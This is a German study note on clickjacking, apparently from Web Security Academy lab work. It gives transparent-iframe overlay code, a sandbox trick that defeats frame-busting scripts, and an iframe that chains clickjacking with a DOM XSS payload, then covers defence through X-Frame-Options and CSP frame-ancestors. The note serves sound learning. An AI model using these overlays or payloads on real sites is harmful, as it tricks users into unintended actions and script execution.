Skip to content

![[Pasted image 20240707151136.png]] Beim Clickjacking wird der User dazu verleitet auf etwas zu klicken. Dabei wird dem Nutzer eine Webseite angezeigt, die ihn dazu verleitet auf etwas drauf zuklicken, in wirklichkeit klickt der Nutzer aber auf etwas anderes. Dazu wird dann im Vordergrund mithilfe von iframes etwas angezeigt, was aber unsichtbar ist, sodass nur der harmlos wirkende Hintergrund gesehen wird. Bei CSRF gibt es Schutzmaßnahmen wie die CSRF Tokens, dies funktioniert allerdings nicht beim Clickjacking, da eine Ziel Session mit dem nachgeladenen Inhalt alle von einer Domain kommen. Beim Clickjacking wird CSS benutzt um die verschiedenen Ebenen zu kreiren und zu manipulieren. Ein Beispiel Code für Clickjacking ist das folgende:

<head> 
    <style> 
        #target_website { 
            position:relative; 
            width:128px; 
            height:128px; 
            opacity:0.00001; 
            z-index:2; 
        } 

        #decoy_website { 
            position:absolute; 
            width:300px; 
            height:400px; 
            z-index:1; 
        } 
    </style> 
</head> 
... 
<body> 
    <div id="decoy_website"> 
        ...decoy web content here... 
    </div> 
    <iframe id="target_website" src="https://vulnerable-website.com"> 
    </iframe> 
</body>
Es kann passieren, dass der Browser Schutzmaßnahmen unternimmt, wenn er unsichtbare Elemente feststellt. Ist dies der Fall muss die Opacity erhöht werden.

<head>
    <style>
        #target_website {
            position:relative;
            width:1028px;
            height:1028px;
            opacity:0.0001;
            z-index:2;
            }
        #decoy_website {
            position:absolute;
            width:2000px;
            height:2000px;
            z-index:1;
            }
               div {
                      position:absolute;
        top:520;
        left:100;
        z-index: 1;
}
    </style>
</head>

<body>
    <div id="decoy_website" >
    click
    </div>
    <iframe id="target_website" src="https://0a26003b031e14a3812e8a1900c40024.web-security-academy.net/my-account">
    </iframe>
</body>
Auch kann es möglich sein, dass ein Form ausgefüllt werden soll, dann muss dies auch mit in die URL genommen werden.

Frame busting skripte

Um sich vor diesen Attacken zu schützen, werden Clientseitig häufig auf sogenannte frame busting oder frame breaking Skripte gesetzt. Dies sind dabei meistens JavaScript Erweiterungen wie NoScript. Diese Skripte setzen dabei einige oder alle der folgenden Möglichkeiten um: - Prüfung und durchsetzen, dass das aktuelle Applikationsfenster das Hauptfenster oder obere Fenster ist. - Sichtbar machen aller Frames. - Verhindern des Klicken auf unsichtbare Elemente. - Abfangen und markieren von potenziellen clickjacking Angriffen. frame busting Techniken sind oft Browser oder Platform spezifisch und können deshalb oft dank der Flexibilität von HTML umgangen werden. Wenn Javascript blockiert wird kann, dass HTML5 iframe sandbox Attribut genutzt werden. Wenn dieses mit den Werten allow-forms oder allow-scripts gesetzt ist und allow-top-navigation weggelassen wird, können die frame busting Skripte leicht umgangen werden. Die frame busting Skripte können dann nicht mehr unterscheiden, ob dass iframe im Vordergrund liegt.

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

Kombinieren von Clickjacking mit DOM XSS

Clickjacking wurde meist für Angriffe genutzt, wie den Like Button bei Facebook. Doch Clickjacking kann erst sein ganzes potenzial entfalten, wenn es kombiniert wird mit einer anderen Attacke, wie DOM XSS. Am einfachsten ist dies, sobald der XSS exploit erstellt wurde. Dieser wird dann mit der iframe Ziel URL erstellt, sodass der Nutzer beim Klick auf den Link den Exploit ausführt. Für so eine Attacke, kann dann das iframe so angepasst werden:

<iframe src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

Abwehr von Clickjacking

Zur Abwehr von Clickjacking existieren zwei Serverseitige Komponenten.

X-Frame-Options

Der X-Frame-Options Header kontrolliert die Verwendung von iframes und Objekten. Dadurch kann die Nutzung von Webseiten innerhalb eines Frames mit der deny Direktive verhindert wird.

X-Frame-Options: deny
Alternativ gibt es noch die sameorigin direktive, diese schränkt framing auf die gleiche Herkunft(origin) ein. Daneben können noch spezielle Webseiten für Framing freigegeben werden:
X-Frame-Options: allow-from https://normal-website.com

Content Security Policy (CSP)

Die CSP ist ein Abwehr mechanismus um Attacken, wie XSS und Clickjacking zu vermeiden. Dabei gibt es verschiedene Policys wie frame-ancestors 'none'. Diese ist dabei ähnlich wie die deny Direktive der X-Frame-Options. Die frame-ancestors 'self' policy ist dabei ähnlich zu der sameorigin Direktive von dem X-Frame-Options Header. Auch auf bestimmte Seiten kann das framing spezifiziert werden:

Content-Security-Policy: frame-ancestors normal-website.com